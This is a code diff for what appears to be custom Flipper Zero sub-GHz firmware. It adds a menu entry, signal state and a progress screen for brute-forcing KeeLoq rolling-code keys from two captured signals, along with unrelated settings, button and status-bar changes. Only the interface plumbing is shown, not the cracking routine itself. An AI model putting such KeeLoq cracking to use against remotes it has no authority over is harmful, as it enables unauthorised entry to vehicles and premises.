@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
|
||||
SubmenuIndexKeeloqKeys,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"KeeLoq BF (2 Signals)",
|
||||
SubmenuIndexKeeloqBf2,
|
||||
subghz_scene_start_submenu_callback,
|
||||
subghz);
|
||||
submenu_set_selected_item(
|
||||
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
|
||||
|
||||
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexKeeloqBf2) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
|
||||
@@ -10,4 +10,5 @@ enum SubmenuIndex {
|
||||
SubmenuIndexProtocolList,
|
||||
SubmenuIndexRadioSetting,
|
||||
SubmenuIndexKeeloqKeys,
|
||||
SubmenuIndexKeeloqBf2,
|
||||
};
|
||||
|
||||
@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
|
||||
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
|
||||
|
||||
subghz->file_path = furi_string_alloc();
|
||||
subghz->file_path_tmp = furi_string_alloc();
|
||||
|
||||
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
|
||||
|
||||
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
|
||||
view_dispatcher_add_view(
|
||||
subghz->view_dispatcher,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
|
||||
|
||||
//init threshold rssi
|
||||
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
|
||||
|
||||
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
|
||||
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
|
||||
|
||||
// KeeLoq Decrypt
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
|
||||
|
||||
// Read RAW
|
||||
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
|
||||
subghz_read_raw_free(subghz->subghz_read_raw);
|
||||
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
|
||||
furi_string_free(subghz->file_path);
|
||||
furi_string_free(subghz->file_path_tmp);
|
||||
|
||||
// KeeLoq key manager (may still be live if app exited from within the edit scene)
|
||||
furi_string_free(subghz->keeloq_bf2.sig1_path);
|
||||
furi_string_free(subghz->keeloq_bf2.sig2_path);
|
||||
|
||||
if(subghz->keeloq_keys_manager) {
|
||||
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
|
||||
subghz->keeloq_keys_manager = NULL;
|
||||
@@ -386,6 +403,7 @@ int32_t subghz_app(void* p) {
|
||||
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
|
||||
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
|
||||
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
|
||||
} else {
|
||||
scene_manager_set_scene_state(
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
#include "views/subghz_frequency_analyzer.h"
|
||||
#include "views/subghz_read_raw.h"
|
||||
#include "views/subghz_psa_decrypt.h"
|
||||
#include "views/subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <assets_icons.h>
|
||||
@@ -74,6 +75,7 @@ struct SubGhz {
|
||||
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
|
||||
SubGhzReadRAW* subghz_read_raw;
|
||||
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
|
||||
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
|
||||
bool raw_send_only;
|
||||
|
||||
bool save_datetime_set;
|
||||
@@ -102,13 +104,25 @@ struct SubGhz {
|
||||
// KeeLoq key management
|
||||
SubGhzKeeloqKeysManager* keeloq_keys_manager;
|
||||
struct {
|
||||
uint8_t key_bytes[8]; // ByteInput result
|
||||
char name[65]; // TextInput result
|
||||
uint16_t type; // selected learning type 1..8
|
||||
bool is_new; // true = add, false = edit
|
||||
size_t edit_index; // valid when is_new == false
|
||||
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
|
||||
uint8_t key_bytes[8];
|
||||
char name[65];
|
||||
uint16_t type;
|
||||
bool is_new;
|
||||
size_t edit_index;
|
||||
uint8_t edit_step;
|
||||
} keeloq_edit;
|
||||
|
||||
struct {
|
||||
uint32_t fix;
|
||||
uint32_t hop1;
|
||||
uint32_t hop2;
|
||||
uint32_t serial;
|
||||
bool sig1_loaded;
|
||||
bool sig2_loaded;
|
||||
FuriString* sig1_path;
|
||||
FuriString* sig2_path;
|
||||
uint8_t learn_type;
|
||||
} keeloq_bf2;
|
||||
};
|
||||
|
||||
void subghz_blink_start(SubGhz* subghz);
|
||||
|
||||
@@ -13,7 +13,8 @@
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING "ModHopping"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
|
||||
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
|
||||
@@ -46,6 +47,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
|
||||
instance->filter = SubGhzProtocolFlag_Decodable;
|
||||
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
|
||||
instance->hopping_threshold = -90.0f;
|
||||
instance->enable_preset_hopping = false;
|
||||
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
instance->leds_and_amp = true;
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
@@ -101,11 +104,23 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
|
||||
}
|
||||
if(!flipper_format_read_bool(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
|
||||
&instance->enable_mod_hopping,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
|
||||
&instance->enable_preset_hopping,
|
||||
1)) {
|
||||
instance->enable_preset_hopping = false;
|
||||
flipper_format_rewind(fff_data_file);
|
||||
}
|
||||
float temp_preset_threshold = 0;
|
||||
if(!flipper_format_read_float(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
|
||||
&temp_preset_threshold,
|
||||
1)) {
|
||||
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
flipper_format_rewind(fff_data_file);
|
||||
} else {
|
||||
instance->preset_hopping_threshold = temp_preset_threshold;
|
||||
}
|
||||
if(!flipper_format_read_uint32(
|
||||
fff_data_file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER,
|
||||
@@ -223,8 +238,15 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
|
||||
}
|
||||
if(!flipper_format_write_bool(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
|
||||
&instance->enable_mod_hopping,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
|
||||
&instance->enable_preset_hopping,
|
||||
1)) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_write_float(
|
||||
file,
|
||||
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
|
||||
&instance->preset_hopping_threshold,
|
||||
1)) {
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -12,20 +12,22 @@
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
|
||||
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
|
||||
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
|
||||
|
||||
typedef struct {
|
||||
uint32_t frequency;
|
||||
uint32_t preset_index; // AKA Modulation
|
||||
uint32_t preset_index;
|
||||
uint32_t frequency_analyzer_feedback_level;
|
||||
float frequency_analyzer_trigger;
|
||||
bool protocol_file_names;
|
||||
bool enable_hopping;
|
||||
bool enable_mod_hopping;
|
||||
uint32_t ignore_filter;
|
||||
uint32_t filter;
|
||||
float rssi;
|
||||
bool delete_old_signals;
|
||||
float hopping_threshold;
|
||||
bool enable_preset_hopping;
|
||||
float preset_hopping_threshold;
|
||||
bool leds_and_amp;
|
||||
uint8_t tx_power;
|
||||
} SubGhzLastSettings;
|
||||
|
||||
246
applications/main/subghz/views/subghz_keeloq_decrypt.c
Normal file
@@ -0,0 +1,246 @@
|
||||
#include "subghz_keeloq_decrypt.h"
|
||||
|
||||
#include <gui/elements.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
struct SubGhzViewKeeloqDecrypt {
|
||||
View* view;
|
||||
SubGhzViewKeeloqDecryptCallback callback;
|
||||
void* context;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint8_t progress;
|
||||
uint32_t keys_tested;
|
||||
uint32_t keys_per_sec;
|
||||
uint32_t elapsed_sec;
|
||||
uint32_t eta_sec;
|
||||
bool done;
|
||||
bool success;
|
||||
uint32_t candidates;
|
||||
FuriString* result_str;
|
||||
char status_line[40];
|
||||
} SubGhzKeeloqDecryptModel;
|
||||
|
||||
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
|
||||
if(count >= 1000000) {
|
||||
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
|
||||
} else if(count >= 1000) {
|
||||
snprintf(buf, len, "%luK", count / 1000);
|
||||
} else {
|
||||
snprintf(buf, len, "%lu", count);
|
||||
}
|
||||
}
|
||||
|
||||
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
|
||||
|
||||
canvas_clear(canvas);
|
||||
|
||||
if(!model->done) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
if(model->status_line[0]) {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
|
||||
} else {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
|
||||
}
|
||||
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
char keys_str[32];
|
||||
char tested_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
|
||||
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
|
||||
canvas_draw_str(canvas, 2, 38, keys_str);
|
||||
|
||||
char speed_str[40];
|
||||
char speed_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
|
||||
uint32_t eta_m = model->eta_sec / 60;
|
||||
uint32_t eta_s = model->eta_sec % 60;
|
||||
if(eta_m > 0) {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
|
||||
} else {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 48, speed_str);
|
||||
|
||||
if(model->candidates > 0) {
|
||||
char cand_str[32];
|
||||
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
|
||||
canvas_draw_str(canvas, 2, 58, cand_str);
|
||||
} else {
|
||||
char elapsed_str[24];
|
||||
uint32_t el_m = model->elapsed_sec / 60;
|
||||
uint32_t el_s = model->elapsed_sec % 60;
|
||||
if(el_m > 0) {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
|
||||
} else {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 58, elapsed_str);
|
||||
}
|
||||
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
|
||||
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
|
||||
instance->view = view_alloc();
|
||||
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
|
||||
view_set_context(instance->view, instance);
|
||||
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
|
||||
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
|
||||
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->result_str = furi_string_alloc();
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
},
|
||||
false);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ furi_string_free(model->result_str); },
|
||||
false);
|
||||
view_free(instance->view);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
return instance->view;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context) {
|
||||
furi_check(instance);
|
||||
instance->callback = callback;
|
||||
instance->context = context;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = progress;
|
||||
model->keys_tested = keys_tested;
|
||||
model->keys_per_sec = keys_per_sec;
|
||||
model->elapsed_sec = elapsed_sec;
|
||||
model->eta_sec = eta_sec;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->done = true;
|
||||
model->success = success;
|
||||
furi_string_set_str(model->result_str, result);
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
furi_string_reset(model->result_str);
|
||||
model->status_line[0] = '\0';
|
||||
},
|
||||
false);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
if(status) {
|
||||
strlcpy(model->status_line, status, sizeof(model->status_line));
|
||||
} else {
|
||||
model->status_line[0] = '\0';
|
||||
}
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ model->candidates = count; },
|
||||
true);
|
||||
}
|
||||
37
applications/main/subghz/views/subghz_keeloq_decrypt.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/view.h>
|
||||
#include "../helpers/subghz_custom_event.h"
|
||||
|
||||
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
|
||||
|
||||
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
|
||||
|
||||
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result);
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count);
|
||||
@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Progress bar outline + fill
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
if(fill > 2) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
} else if(fill > 0) {
|
||||
canvas_draw_box(canvas, 5, 17, fill, 8);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Cancel hint - bottom right
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
// Result screen
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
|
||||
|
||||
if(model->result_str) {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
|
||||
furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
|
||||
elements_button_center(canvas, "Ok");
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(event->key == InputKeyBack || event->key == InputKeyOk) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
|
||||
@@ -155,6 +155,22 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
|
||||
true);
|
||||
|
||||
if(can_be_sent) {
|
||||
if(event->type == InputTypeLong) {
|
||||
if(event->key == InputKeyUp) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyDown) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyLeft) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyRight) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
}
|
||||
}
|
||||
|
||||
if(event->key == InputKeyOk && event->type == InputTypePress) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
|
||||
@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->pin_input_view = desktop_view_pin_input_alloc();
|
||||
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
|
||||
desktop->slideshow_view = desktop_view_slideshow_alloc();
|
||||
//desktop->tos_view = desktop_view_tos_alloc();
|
||||
|
||||
desktop->main_view_stack = view_stack_alloc();
|
||||
desktop->main_view = desktop_main_alloc();
|
||||
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->view_dispatcher,
|
||||
DesktopViewIdSlideshow,
|
||||
desktop_view_slideshow_get_view(desktop->slideshow_view));
|
||||
//view_dispatcher_add_view(
|
||||
//desktop->view_dispatcher,
|
||||
//DesktopViewIdTos,
|
||||
//desktop_view_tos_get_view(desktop->tos_view));
|
||||
|
||||
// Lock icon
|
||||
desktop->lock_icon_viewport = view_port_alloc();
|
||||
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
|
||||
|
||||
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
|
||||
}
|
||||
} //else {
|
||||
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
//}
|
||||
|
||||
if(!furi_hal_version_do_i_belong_here()) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
|
||||
|
||||
@@ -11,6 +11,8 @@
|
||||
#include "views/desktop_view_lock_menu.h"
|
||||
#include "views/desktop_view_debug.h"
|
||||
#include "views/desktop_view_slideshow.h"
|
||||
//#include "views/desktop_view_tos.h"
|
||||
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_stack.h>
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
#include <storage/storage.h>
|
||||
#include <gui/gui.h>
|
||||
|
||||
#include "../desktop_i.h"
|
||||
#include "../views/desktop_view_slideshow.h"
|
||||
@@ -14,6 +15,7 @@ void desktop_scene_slideshow_on_enter(void* context) {
|
||||
Desktop* desktop = (Desktop*)context;
|
||||
DesktopSlideshowView* slideshow_view = desktop->slideshow_view;
|
||||
|
||||
gui_set_hide_status_bar(desktop->gui, true);
|
||||
desktop_view_slideshow_set_callback(slideshow_view, desktop_scene_slideshow_callback, desktop);
|
||||
|
||||
view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdSlideshow);
|
||||
@@ -28,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
|
||||
switch(event.event) {
|
||||
case DesktopSlideshowCompleted:
|
||||
scene_manager_previous_scene(desktop->scene_manager);
|
||||
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
consumed = true;
|
||||
break;
|
||||
case DesktopSlideshowPoweroff:
|
||||
@@ -46,5 +49,6 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
void desktop_scene_slideshow_on_exit(void* context) {
|
||||
Desktop* desktop = context;
|
||||
gui_set_hide_status_bar(desktop->gui, false);
|
||||
storage_common_remove(desktop->storage, SLIDESHOW_FS_PATH);
|
||||
}
|
||||
|
||||
@@ -251,16 +251,20 @@ static void gui_redraw(Gui* gui) {
|
||||
|
||||
if(gui_is_lockdown(gui)) {
|
||||
gui_redraw_desktop(gui);
|
||||
bool need_attention =
|
||||
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
|
||||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
|
||||
gui_redraw_status_bar(gui, need_attention);
|
||||
if(!gui->hide_status_bar) {
|
||||
bool need_attention =
|
||||
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
|
||||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
|
||||
gui_redraw_status_bar(gui, need_attention);
|
||||
}
|
||||
} else {
|
||||
if(!gui_redraw_fs(gui)) {
|
||||
if(!gui_redraw_window(gui)) {
|
||||
gui_redraw_desktop(gui);
|
||||
}
|
||||
gui_redraw_status_bar(gui, false);
|
||||
if(!gui->hide_status_bar) {
|
||||
gui_redraw_status_bar(gui, false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -512,6 +516,16 @@ bool gui_is_lockdown(const Gui* gui) {
|
||||
return gui->lockdown && !gui->lockdown_inhibit;
|
||||
}
|
||||
|
||||
void gui_set_hide_status_bar(Gui* gui, bool hide) {
|
||||
furi_check(gui);
|
||||
|
||||
gui_lock(gui);
|
||||
gui->hide_status_bar = hide;
|
||||
gui_unlock(gui);
|
||||
|
||||
gui_update(gui);
|
||||
}
|
||||
|
||||
Canvas* gui_direct_draw_acquire(Gui* gui) {
|
||||
furi_check(gui);
|
||||
|
||||
|
||||
@@ -127,6 +127,16 @@ void gui_set_lockdown_inhibit(Gui* gui, bool inhibit);
|
||||
*/
|
||||
bool gui_is_lockdown(const Gui* gui);
|
||||
|
||||
/** Set hide status bar mode
|
||||
*
|
||||
* When enabled, the status bar is not drawn on top of the desktop layer.
|
||||
* Used by the slideshow to show fullscreen content without the status bar overlay.
|
||||
*
|
||||
* @param gui Gui instance
|
||||
* @param hide bool, true to hide status bar
|
||||
*/
|
||||
